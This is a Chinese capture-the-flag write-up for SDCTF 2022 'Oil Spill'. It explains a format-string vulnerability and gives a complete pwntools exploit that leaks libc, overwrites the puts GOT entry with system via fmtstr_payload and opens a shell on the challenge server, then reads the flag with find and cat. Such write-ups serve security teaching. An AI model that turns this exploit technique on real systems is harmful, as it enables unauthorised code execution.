[SDCTF 2022]Oil Spill
准备 64位开了 Canary 和 NX 保护
分析 main函数 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 int __fastcall main(int argc, const char **argv, const char **envp) { char s[312]; // [rsp+10h] [rbp-140h] BYREF unsigned __int64 v5; // [rsp+148h] [rbp-8h] v5 = __readfsqword(0x28u); printf("%p, %p, %p, %p\n", &puts, &printf, s, temp); puts("Oh no! We spilled oil everywhere and its making everything dirty"); puts("do you have any ideas of what we can use to clean it?"); fflush(stdout); fgets(s, 300, stdin); printf(s); puts(x); // "Interesting Proposition" fflush(stdout); return 0; }
开头先会输出 puts , printf , s , temp 的地址 然后下面把读取的数据直接用 printf 输出,存在格式化字符串漏洞 最后用 puts 输出 x 的值
思路: 这里泄露相关函数的地址,有格式化字符串漏洞,但没有 system 函数和连接点等 在ida中查看 x 的值 是一个确定的数据并且地址为0x600C80 所以这里可以利用格式化字符串漏洞,改 puts(x) 为 system('/bin/sh'),来获得 shell 通过输入 aaaaaaaa_%p_%p_%p_%p_%p_%p_%p_%p_%p_%p_%p_%p 获得参数位置 得到参数位置为8 开始先获取 puts , printf 的地址
1 2 3 4 5 6 7 8 9 puts_got = elf.got['puts'] x=0x600C80 puts_addr=int(io.recv(14),16) log.success('puts_addr :'+hex(puts_addr)) io.recvuntil(b',') printf_addr=int(io.recv(14),16) log.success('printf_addr :'+hex(printf_addr))
然后根据 puts 地址获得 libc 基址,进而得到 system 的地址
1 2 3 4 5 6 7 8 9 10 11 12 13 14 puts_got = elf.got['puts'] x=0x600C80 puts_addr=int(io.recv(14),16) log.success('puts_addr :'+hex(puts_addr)) io.recvuntil(b',') printf_addr=int(io.recv(14),16) log.success('printf_addr :'+hex(printf_addr)) libc=LibcSearcher("puts", puts_addr) libc_base=puts_addr-libc.dump('puts') log.success('libc_base: ' + hex(libc_base)) system=libc_base+libc.dump('system')
最后利用 fmtstr_payload 构造格式化字符串漏洞的 payload ,改 puts(x) 为 system('/bin/sh')
知识点: 介绍: 用于生成复杂的格式化字符串 payload,实现任意地址写入。 定义:
1 fmtstr_payload(offset, writes, numbwritten=0, write_size='byte', strategy='fast', badbytes=[])
参数:
offset:表示格式化字符串参数在栈上的偏移量(写入参数位置)。 这是一个关键参数,需要通过调试或发送测试用的格式化字符串(如 AAAA.%p.%p.%p... 并观察输出)来确定。 例如,当执行 printf 函数时,格式化字符串本身在栈上的位置如果是第 7 个参数,那么 offset 就为 7。
writes:是一个字典,键为要写入的目标内存地址,值为要写入该地址的数据。 比如 {got_table_addr: system_addr} ,表示将 system_addr 写入到 got_table_addr 这个内存地址中。
numbwritten:可选参数,用于指定在开始写入之前,格式化字符串已经打印的字节数,默认为 0。
write_size:可选参数,指定写入的字节大小,取值可以是 'byte'(1 字节)、'short'(2 字节)、'int'(4 字节,默认值)、'long'(在 32 位系统是 4 字节,在 64 位系统是 8 字节)。
strategy:可选参数,指定生成 payload 的策略,默认是 'fast',还有 'slow' 等选项 。 'fast' 策略生成的 payload 较短,但可能在某些情况下不适用;'slow' 策略更通用,但生成的 payload 可能较长。
badbytes:可选参数,是一个包含不希望出现在 payload 中的字节列表。 例如,如果目标程序对输入的某些字节有特殊处理或过滤,就可以将这些字节添加到 badbytes 中,让 fmtstr_payload 生成的 payload 避开这些字节。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 puts_got = elf.got['puts'] x=0x600C80 puts_addr=int(io.recv(14),16) log.success('puts_addr :'+hex(puts_addr)) io.recvuntil(b',') printf_addr=int(io.recv(14),16) log.success('printf_addr :'+hex(printf_addr)) libc=LibcSearcher("puts", puts_addr) libc_base=puts_addr-libc.dump('puts') log.success('libc_base: ' + hex(libc_base)) system=libc_base+libc.dump('system') io.recvuntil(b'it?\n') payload=fmtstr_payload(8,{x:b'/bin/sh\x00',puts_got:system}) io.sendline(payload)
脚本 (远程动态 libc 文件:libc6_2.27-3ubuntu1.6_amd64)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 from pwn import * from LibcSearcher import * context(arch='amd64', os='linux', log_level='debug') io=remote('node5.anna.nssctf.cn',24154) # io= process('/home/motaly/os') elf=ELF('/home/motaly/os') puts_got = elf.got['puts'] x=0x600C80 puts_addr=int(io.recv(14),16) log.success('puts_addr :'+hex(puts_addr)) io.recvuntil(b',') printf_addr=int(io.recv(14),16) log.success('printf_addr :'+hex(printf_addr)) libc=LibcSearcher("puts", puts_addr) libc_base=puts_addr-libc.dump('puts') log.success('libc_base: ' + hex(libc_base)) system=libc_base+libc.dump('system') io.recvuntil(b'it?\n') payload=fmtstr_payload(8,{x:b'/bin/sh\x00',puts_got:system}) io.sendline(payload) io.interactive()
flag 文件不在直接的目录下,可以通过 find 指令查找文件,然后通过 cat 获取文件信息 (找名字为 flag 的没有结果,所以找 flag.txt)
1 2 find / -name "flag.txt" 2>/dev/null cat /home/ctf/flag.txt
(2>/dev/null:将错误信息(如权限不足的提示)重定向到空设备,避免干扰搜索结果)